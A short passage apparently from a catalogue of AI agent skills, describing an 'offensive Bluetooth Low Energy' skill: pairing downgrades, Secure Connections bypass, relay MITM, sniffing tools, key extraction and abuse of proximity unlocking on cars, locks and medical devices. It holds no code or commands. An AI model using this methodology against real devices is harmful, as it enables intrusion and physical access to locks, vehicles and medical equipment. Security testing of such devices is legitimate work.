canaries. Use when building initial PoCs or understanding classic exploitation primitives./offensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.Other plugins' skills for the same job